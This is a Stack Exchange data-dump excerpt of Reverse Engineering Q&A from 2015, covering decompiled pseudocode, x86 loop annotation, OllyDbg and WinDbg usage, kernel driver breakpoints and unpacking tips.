  <row Id="8655" PostTypeId="1" AcceptedAnswerId="8656" CreationDate="2015-04-07T23:44:15.937" Score="0" ViewCount="112" Body="&lt;p&gt;So I'm trying to reverse engineer a LFSR encryption scheme using IDA, and am (hopefully) pretty close to cracking it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in particular iterates through every byte of the encrypted file, decrypts it and stores it in memory (var v22). What stumps me however, is the way the pseudocode seems to do some operations on the variable before declaring it – which I have no idea how to &quot;translate&quot; into something a bit less cryptic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file = fopen((const char *)&amp;amp;bin_filename, &quot;rb&quot;);&#xA;fseek(file, 0, 0);&#xA;&#xA;memset(&amp;amp;v22, 0, 0x80000u);&#xA;i = 0;&#xA;while ( feof(file) == 0 ){&#xA;    fread(&amp;amp;byte, 1u, 1u, file);&#xA;&#xA;    if ( i % 4 ){&#xA;        decryptedByte = DecryptByte(byte);&#xA;&#xA;        // What happens here on the left hand side of the bitwise OR assignment?&#xA;        *(&amp;amp;v22 + i / 4) |= decryptedByte &amp;lt;&amp;lt; 8 * (i - ((i + ((unsigned int)(i &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 30)) &amp;amp; 0x1C));&#xA;    }&#xA;    else {&#xA;        decryptedByte = DecryptByte(byte);&#xA;        *(&amp;amp;v22 + i / 4) = decryptedByte;&#xA;    }&#xA;&#xA;    ++i;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As indicated by my comment above, what I don't understand is the meaning of &lt;code&gt;*(&amp;amp;v22 + i / 4) =&lt;/code&gt; in the context of a variable assignment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does &lt;code&gt;decryptedByte&lt;/code&gt; get assigned to a math equation?&lt;/p&gt;&#xA;" OwnerUserId="12191" LastEditorUserId="12191" LastEditDate="2015-04-08T00:07:20.177" LastActivityDate="2015-04-08T00:19:47.927" Title="Understanding pseudocode containing a math operation in a variable assignment" Tags="|decompilation|deobfuscation|decryption|" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-10T15:43:18.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="8656" PostTypeId="2" ParentId="8655" CreationDate="2015-04-08T00:19:47.927" Score="1" Body="&lt;p&gt;&lt;code&gt;v22&lt;/code&gt; is the first byte of an 0x80000-byte buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;amp;v22&lt;/code&gt; is a pointer to that buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;amp;v22 + i / 4&lt;/code&gt; is a pointer to the &lt;code&gt;i/4&lt;/code&gt;'th byte in that buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;*(&amp;amp;v22 + i / 4) |= ...&lt;/code&gt; ORs the &lt;code&gt;i/4&lt;/code&gt;'th byte in that buffer with &lt;code&gt;decryptedByte &amp;lt;&amp;lt; 8 * (i - ((i + ((unsigned int)(i &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 30))&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-04-08T00:19:47.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8657" PostTypeId="1" CreationDate="2015-04-08T02:03:24.597" Score="0" ViewCount="2359" Body="&lt;p&gt;I am reversing some x86 from an old CTF from 2014 and am trying to understand the below code (it has been shortened drastically).  I believe it is performing some sort of while or for loop through a string x number of times where x is the length of the string.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Basic Info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intel Syntax &lt;/li&gt;&#xA;&lt;li&gt;Function Prototype Given:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;int main(char*);&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My primary confusion lies within the end of .L3 and .L2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the end of .L3 is storing the register arithmetic in [ebp-12] and then increasing the value of [ebp-8] (I believe this is a pointer to a copy of the char* arg) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.L1&#xA;    push    ebp    &#xA;    mov     ebp, esp&#xA;    push    ebx &#xA;    sub     esp, 20 &#xA;    mov     DWORD PTR [ebp-12], 0&#xA;    mov     eax, DWORD PTR [ebp+8]&#xA;    mov     DWORD PTR [ebp-8], eax&#xA;    jmp     .L2&#xA;.L3&#xA;    // Bunch of annoying arithmetic w/ registers&#xA;    mov     DWORD PTR [ebp-12], eax     &#xA;    add     DWORD PTR [ebp-8], 1        &#xA;.L2:&#xA;    mov     eax, DWORD PTR [ebp-8]      &#xA;    movzx   eax, BYTE PTR [eax]         &#xA;    test    al, al                      &#xA;    jne     .L3                             &#xA;    add     esp, 20&#xA;    pop     ebx&#xA;    pop     ebp&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My loose conversion of this (disregarding much of .L3) is as follows in c:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(char* arg)&#xA;{&#xA;    int loc1 = 0;&#xA;    char* str = arg;&#xA;    for(i = 0; str[i] != '\0'; i++) {         //  &amp;lt;=== Pretty Sure&#xA;         // .L3 Stuff w/ Assignment to loc1   //  This is incorrect&#xA;    }&#xA;    return loc1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would someone be willing to explain the incrementation of the [ebp-8], first four lines of .L2, and confirm/deny that during the return the value of eax or loc1 as I called it will return based on the end of .L2?&lt;/p&gt;&#xA;" OwnerUserId="12192" LastActivityDate="2015-04-08T08:03:24.510" Title="While Loop Correct?" Tags="|x86|decompile|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostTypeId="2" ParentId="8642" CreationDate="2015-04-08T02:27:55.667" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://frida.re/&quot; rel=&quot;nofollow&quot;&gt;frida&lt;/a&gt; is cross-platform (OS X, Windows, Linux, iOS, Android) and also supports multiple architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main functionality is running some javascript code every time a function is called or when returning from a function.&lt;/p&gt;&#xA;" OwnerUserId="40" LastActivityDate="2015-04-08T02:27:55.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8659" PostTypeId="2" ParentId="8657" CreationDate="2015-04-08T05:05:20.010" Score="2" Body="&lt;p&gt;Let's annotate the assembly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.L1&#xA;    push    ebp       // standard function prologue&#xA;    mov     ebp, esp&#xA;    push    ebx       // saved register&#xA;    sub     esp, 20   // room for locals&#xA;    mov     DWORD PTR [ebp-12], 0    // x = 0 (x = var@-12)&#xA;    mov     eax, DWORD PTR [ebp+8]   // s = arg1 (s = var@-8)&#xA;    mov     DWORD PTR [ebp-8], eax&#xA;    jmp     .L2&#xA;.L3&#xA;    // Bunch of annoying arithmetic w/ registers&#xA;    mov     DWORD PTR [ebp-12], eax     // x = eax (whatever you computed)&#xA;    add     DWORD PTR [ebp-8], 1        // s++&#xA;.L2:&#xA;    mov     eax, DWORD PTR [ebp-8]      // eax = s&#xA;    movzx   eax, BYTE PTR [eax]         // eax = *s&#xA;    test    al, al                      // if(*s != 0) goto L3&#xA;    jne     .L3                         &#xA;    add     esp, 20                     // cleanup and return&#xA;    pop     ebx&#xA;    pop     ebp&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your reconstruction was pretty accurate. I'd change it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void func(char* arg) {&#xA;    int x = 0; // @-12&#xA;    char* s; // @-8&#xA;    for(s = arg; *s != '\0'; s++) {&#xA;         // do stuff and assign stuff to x&#xA;    }&#xA;    // no return: eax at function end is always 0 and seems to be just a temporary&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2015-04-08T05:05:20.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8661" PostTypeId="2" ParentId="8657" CreationDate="2015-04-08T07:56:07.967" Score="0" Body="&lt;p&gt;this construct imho is a do while loop the telltale jmp at start and the conditional jump at end indicates that construct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this seems to be a strlen kind of function takes one char * input and finds the null at the end of the input  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code pasted below generates an equivalent assembly in vc2kten express&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the cdb commands are set symbol path to local directory to avoid&#xA;hitting internet with &lt;code&gt;.sympath&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;disassemble the function of interest completely with &lt;code&gt;uf Funct&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;execute until the start of desired function with &lt;code&gt;g funct&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;dump value of edx , &lt;code&gt;stepover&lt;/code&gt; till the first return with &lt;code&gt;pt&lt;/code&gt; and step&#xA;out with &lt;code&gt;p&lt;/code&gt;      &lt;/li&gt;&#xA;&lt;li&gt;redump value of edx and eax and quit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:dir /b&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;compile.bat&#xA;x86while.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;code for demo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:type x86while.cpp&#xA;void funct (unsigned char *input ) {&#xA;        unsigned char *a;&#xA;        int b,c,d,e,g,h,f=0;&#xA;        a = input;&#xA;        do {&#xA;                f++;&#xA;        }while(a[f]!=0);&#xA;}&#xA;unsigned char buff[] = {&quot;hello my dear world&quot;};&#xA;void main (void) {&#xA;        funct(buff);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;compiled linked and executed with&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:type compile.bat&#xA;del x86while.exe&#xA;if &quot;%vcinstalldir%&quot; == &quot;&quot;  ( @call &quot;C:\Program Files\Microsoft Visual Studio 10.&#xA;0\VC\vcvarsall.bat&quot; x86 )&#xA;cl /Zi /EHsc  /nologo /W4 /analyze *.cpp /link /RELEASE /ENTRY:main /FIXED&#xA;cdb -c &quot;.sympath \&quot;f:\symbols\&quot;;uf funct;g funct;r @edx;pt;p;r @edx;r eax;q&quot; x86&#xA;while.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;results of execution generic spew removed only disassembly  kept&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x86while!funct:&#xA;00401000 55              push    ebp&#xA;00401001 8bec            mov     ebp,esp&#xA;00401003 83ec20          sub     esp,20h&#xA;00401006 c745f400000000  mov     dword ptr [ebp-0Ch],0&#xA;0040100d 8b4508          mov     eax,dword ptr [ebp+8]&#xA;00401010 8945f8          mov     dword ptr [ebp-8],eax&#xA;&#xA;x86while!funct+0x13:&#xA;00401013 8b4df4          mov     ecx,dword ptr [ebp-0Ch]&#xA;00401016 83c101          add     ecx,1&#xA;00401019 894df4          mov     dword ptr [ebp-0Ch],ecx&#xA;0040101c 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;0040101f 0355f4          add     edx,dword ptr [ebp-0Ch]&#xA;00401022 0fb602          movzx   eax,byte ptr [edx]&#xA;00401025 85c0            test    eax,eax&#xA;00401027 75ea            jne     x86while!funct+0x13 (00401013)&#xA;&#xA;x86while!funct+0x29:&#xA;00401029 8be5            mov     esp,ebp&#xA;0040102b 5d              pop     ebp&#xA;0040102c c3              ret&#xA;&#xA;edx=7c90e514 when entering function&#xA;edx=00403013 on returning from function&#xA;eax=00000000  &#xA;quit:&#xA;0:000&amp;gt; ?? buff&#xA;unsigned char [20] 0x00403000&#xA;0x68 'h'&#xA;0:000&amp;gt; db buff @edx&#xA;00403000  68 65 6c 6c 6f 20 6d 79-20 64 65 61 72 20 77 6f  hello my dear wo&#xA;00403010  72 6c 64 00                                      rld.&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-04-08T08:03:24.510" LastActivityDate="2015-04-08T08:03:24.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostTypeId="1" CreationDate="2015-04-08T17:24:22.457" Score="0" ViewCount="425" Body="&lt;p&gt;I am using ollydbg and whenever i attach ollydbg to running process (in this case it's game and it has xtrap) this game terminates all threads and nothing is shown in olly . And when i use OllyAdvanced and when i attach olly into this proces then olly is stopping execution at ntdll.dll.DbgUiRemoteBreakin. Is there any plugin/way to fix that ?&lt;/p&gt;&#xA;" OwnerUserId="12195" LastActivityDate="2015-04-08T18:52:38.550" Title="Process termimates after attaching" Tags="|memory|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8664" PostTypeId="2" ParentId="8663" CreationDate="2015-04-08T18:52:38.550" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;http://index-of.es/Windows/dbgk-2.pdf&quot; rel=&quot;nofollow&quot;&gt;http://index-of.es/Windows/dbgk-2.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR -- When a debugger (OllyDbg in this scenario) calls &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679295%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;DebugActiveProcess()&lt;/code&gt;&lt;/a&gt;, this results in a call to &lt;code&gt;DbgUiDebugActiveProcess()&lt;/code&gt;, which calls &lt;code&gt;DbgUiIssueRemoteBreakin()&lt;/code&gt;, which creates a new thread in the debuggee with entrypoint &lt;code&gt;DbgUiRemoteBreakin()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's nothing that needs fixing. What you're seeing is the result of how Windows works.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-04-08T18:52:38.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8665" PostTypeId="1" AcceptedAnswerId="9097" CreationDate="2015-04-09T01:15:47.943" Score="2" ViewCount="14148" Body="&lt;p&gt;I am following &lt;a href=&quot;http://securityxploded.com/reverse-engineering-video-converter.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial on reverse engineering. In the step where I &quot;search for all referenced strings&quot; I get a window as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fdlgI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compared to the image on the tutorial for the step, I found that the column headings of my window are : &lt;strong&gt;Address Command Comments&lt;/strong&gt; where as according to the tutorial it is supposed to be: &lt;strong&gt;Address Disassembly Text String&lt;/strong&gt; (It is not seen on the tutorial but I dig the internet before making this post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Windows 8.1. I have run Ollydbg as administrator with compatibility mode for Windows 7 and Windows XP SP3, used Ollydbg 1.10 and 2.0 but I get same results. The module loaded is also the correct (not the ntdll). The exe version is a different one but I installed it and the overall functionality of the new version is still the same - gives out the exactly same error message for invalid registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong/missing here?? What might be the reason of this and how can I overcome it?&lt;/p&gt;&#xA;" OwnerUserId="12199" LastEditorUserId="53" LastEditDate="2017-04-28T12:52:16.107" LastActivityDate="2018-09-09T16:22:07.050" Title="Ollydbg does not find all referenced strings while Reverse Engineering AoneVideo2AudioConverter" Tags="|disassembly|ollydbg|executable|patch-reversing|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8666" PostTypeId="2" ParentId="8665" CreationDate="2015-04-09T06:17:56.037" Score="2" Body="&lt;p&gt;The windows that says &lt;strong&gt;disassembly&lt;/strong&gt; is from ollydbg version &lt;strong&gt;1.10&lt;/strong&gt;.&lt;br&gt;&#xA;The windows that says &lt;strong&gt;command&lt;/strong&gt; the one you are looking at is from ollydbg &lt;strong&gt;2.01&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zszlM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2015-06-08T12:14:44.693" LastActivityDate="2015-06-08T12:14:44.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8667" PostTypeId="2" ParentId="8665" CreationDate="2015-04-09T09:39:03.673" Score="3" Body="&lt;p&gt;There are a lot of way to hide strings to the debugger.&#xA;A simple encryption at runtime can daunt new reverser to work on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this plugin sometimes it helps to find strings that Ollydbg doesn't show:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.107&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.107&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If also with Ultra string reference you don't get results, run the software in the debugger and then search for the string in Memory, then you can Memory breakpoint that area and understand where the software work with it and if there are encryptions to defeat.&lt;/p&gt;&#xA;" OwnerUserId="3214" LastActivityDate="2015-04-09T09:39:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8668" PostTypeId="1" CreationDate="2015-04-09T09:43:23.663" Score="1" ViewCount="236" Body="&lt;p&gt;I would like to scan (or alternatively dump) memory that a DLL accesses while it's running. Scanning the application's (EXE) memory is not feasible (too large), and the DLL needs the application to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools like this?&lt;/p&gt;&#xA;" OwnerUserId="12123" LastActivityDate="2015-04-09T09:43:23.663" Title="Scanning memory accessed by a DLL" Tags="|dll|memory|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8669" PostTypeId="2" ParentId="8654" CreationDate="2015-04-09T11:18:09.227" Score="2" Body="&lt;p&gt;This answer is mostly applicable for Linux as thats where I do most of my RE. I think you might be able to use it for windows too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I'm assuming that no antidebugging or antiemulation tricks are applied. Here's how I would approach the problem. My ultimate aim would be to try and find the OEP. I'd try running the binary in a VM, and perhaps try to see what it does using strace/procmon. For eg:- perhaps it reads a value from a register or tries to see if a file exists. If so, I try to debug the binary,  catch the syscall that reads from the registry/file and look at the process map. From here I try to deduce, what parts of the memory map belong to the unpacked process. At this point, I try to debug from the start of the program again, trying to reach the OEP. Generally it is a good idea to turn off ASLR when doing all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anti-debugging tricks are present, it goes without saying that a familiarity and knowledge of these tricks will give you an edge as you can spot them with relative ease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other RE tricks like changing the protection of a region to NX so that an access violation occurs when trying to execute it; or flooding a region with 0xcc's so that a SIGTRAP occurs when trying to execute it might also be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-04-09T11:18:09.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8670" PostTypeId="1" AcceptedAnswerId="8672" CreationDate="2015-04-09T15:20:41.963" Score="5" ViewCount="12742" Body="&lt;p&gt;I'm sorry for my bad English. I'm a beginner in Reverse Engineering. I have a problem like this. I was given two files, one is driver's .inf file and the other is driver's .sys file. My mission is to debug this driver and understand its functionality(driver doesn't have physical device). I use 2 machines, one is the host machine which is actually my real computer and a XP virtual machine(VMware). I also use VirtualKD and Windbg. I want to set breakpoint at its DriverEntry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I installed driver, I noticed that it ran automatically right after being installed. So I can't set breakpoint at DriverEntry. I restarted virtual machine and set breakpoint in Windbg with all the following commands:&#xA;&lt;br&gt;bu Driver!DriverEntry (Driver is driver's ClassName, I saw it in .inf file)&#xA;&lt;br&gt;bu Drv!DriverEntry (Drv is its service name when installed)&#xA;&lt;br&gt;bu drv!DriverEntry (drv is sys file name, drv.sys)&#xA;&lt;br&gt;But Windbg didn't catch any breakpoints. I saw Windbg printed out some infos, I don't know whether it made breakpoints could not catch:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;hr&gt;&#xA;    &#xA;    &lt;p&gt;*&#xA;    * A driver is mapping physical memory 0064F000-&gt;006D0FFF&#xA;    * that it does not own.  This can cause internal CPU corruption.&#xA;    * A checked build will stop in the kernel debugger&#xA;    * so this problem can be fully debugged.&#xA;    *&lt;/p&gt;&#xA;    &#xA;    &lt;hr&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5&#xA;  ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5&#xA;  ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5&#xA;  CodeSet_Init: no ICU&#xA;  watchdog!WdUpdateRecoveryState: Recovery enabled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;My second thought was I rolled back my virtual machine and set breakpoints before installing driver. But Windbg said that it could not resolve those breakpoints. And of course it cannot hit any of them.&#xA;&lt;br&gt;&lt;br&gt; I really don't know how to set this driver's entry. Please help me. Thank you.&#xA;&lt;br&gt;&lt;br&gt;P/S: probably this driver can communicate with other app through pipe. How can I debug it without infecting its communication?&lt;/p&gt;&#xA;" OwnerUserId="12203" LastActivityDate="2015-04-09T22:21:19.033" Title="Kernel debugging - how to set breakpoint at DriverEntry?" Tags="|debugging|windbg|kernel-mode|virtual-machines|driver|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8671" PostTypeId="2" ParentId="8670" CreationDate="2015-04-09T16:47:47.107" Score="6" Body="&lt;p&gt;you can try breaking on driver load instead on just the entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sxe ld drv.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will stop windbg when the image gets loaded, so you'll be able to set breakpoints using raw addresses if all else fails.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-04-09T16:47:47.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8672" PostTypeId="2" ParentId="8670" CreationDate="2015-04-09T17:43:18.673" Score="-1" Body="&lt;p&gt;You can follow the steps in the comments on this site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://windbg.info/doc/1-common-cmds.html&quot; rel=&quot;nofollow&quot;&gt;http://windbg.info/doc/1-common-cmds.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This roughly equals to what Igor suggested.&lt;/p&gt;&#xA;" OwnerUserId="12206" LastActivityDate="2015-04-09T17:43:18.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8673" PostTypeId="2" ParentId="8197" CreationDate="2015-04-09T19:32:16.340" Score="1" Body="&lt;p&gt;So it turns out you can do this in the following way, from within GDB Python.  The trick is &lt;code&gt;from_tty=False&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo = open('foo.cc','w+')&#xA;foo.write('struct foobar { int x; }; foobar foo;')&#xA;foo.close()&#xA;&#xA;subprocess.check_output('g++ -w -c -g foo.cc -o foo.o', shell=True)&#xA;&#xA;gdb.execute('add-symbol-file foo.o 0', from_tty=False, to_string=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should now be able to view the type in gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb $ ptype foobar&#xA;type = struct foobar {&#xA;    int x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2015-04-09T19:32:16.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8674" PostTypeId="1" AcceptedAnswerId="8676" CreationDate="2015-04-09T20:55:46.900" Score="1" ViewCount="518" Body="&lt;p&gt;I have been looking around for ways to make plugins in Ollydbg 2 and I haven't seen a good amount of information;I keep finding guides for Immunity Dbg or how to make plugins work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind learning to make plugins but, there seems to be a very limited amount of information on the net for Ollydbg. Does anyone know where I can find some information on how to make plugins for Ollydbg?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2015-04-09T21:38:13.863" Title="Making plugins for Ollydbg 2" Tags="|ollydbg|automation|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8675" PostTypeId="2" ParentId="8670" CreationDate="2015-04-09T21:31:01.067" Score="3" Body="&lt;p&gt;patch the Address of Entry Point with a &lt;code&gt;(0xcc aka int 3)&lt;/code&gt; and load the driver AddrOfEntryPoint  normally points to either DriverEntry or GsDriverEntry  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when broken you need to replace 0xcc by original byte and reset eip back by a byte&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use eb &amp;lt;address&amp;gt; originalbyte enter &#xA;r eip = &amp;lt;addresss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the entry point of beep.sys which points to Beep!driverEntry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; lm m beep&#xA;start    end        module name&#xA;f7b0e000 f7b0f080   Beep       (pdb symbols)          f:\symbols\beep.pdb\65DC45B439164E4C9DEFF20E161DC74C1\beep.pdb&#xA;lkd&amp;gt; ? by(beep+3c) &#xA;Evaluate expression: 208 = 000000d0&#xA;lkd&amp;gt; ? dwo(beep+dwo(beep+3c)+28)&#xA;Evaluate expression: 1644 = 0000066c&#xA;lkd&amp;gt; .printf &quot;%y\n&quot; , beep+66c&#xA;Beep!DriverEntry (f7b0e66c)&#xA;lkd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-04-09T22:21:19.033" LastActivityDate="2015-04-09T22:21:19.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8676" PostTypeId="2" ParentId="8674" CreationDate="2015-04-09T21:38:13.863" Score="0" Body="&lt;p&gt;complete src code and build instruction is available in this post for a sample plugin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8290/ollydbg-2-01-run-trace-skip-selection-option/8292#8292&quot;&gt;OllyDbg 2.01 Run Trace &amp;quot;Skip selection option&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-04-09T21:38:13.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8677" PostTypeId="2" ParentId="2580" CreationDate="2015-04-10T08:23:05.150" Score="5" Body="&lt;p&gt;A critical issue in disassembly lies in precisely separating code from data in binary executables. To this end, you will need a static analysis that can &lt;em&gt;precisely&lt;/em&gt; determine the targets of indirect jumps (jumps to addresses calculated at run-time). There are several examples of indirect jumps including  &lt;strong&gt;switch&lt;/strong&gt; target calculation and vtables in C++. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That type of static analysis, if existed, would be able of solving the &lt;a href=&quot;http://en.wikipedia.org/wiki/Halting_problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;Halting Problem&lt;/a&gt; which is known to be undecidable. Therefore such static analysis can't exist. Based on that, disassembly tools need to rely on heuristics and/or approximations for determining indirect jumps targets. More details on that can be found in answers to a similar question here &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8328/soundness-of-arm-disassembly/&quot;&gt;Soundness of ARM disassembly&lt;/a&gt;. The task of code/data separation gets even harder if binaries where obfuscated and/or have self-modifying code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having extracted approximations of code and data from binaries. One needs then to deal with the problem of attaching semantics to them which is also difficult. For example a &lt;code&gt;struct { int i; int j;}&lt;/code&gt;  would look similar to an &lt;code&gt;int arr [2]&lt;/code&gt; when accessed by instructions. Therefore, It's difficult to attach &lt;em&gt;unique&lt;/em&gt; semantics to executed code without relying on external information such as debug symbols. &lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-04-14T12:32:49.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
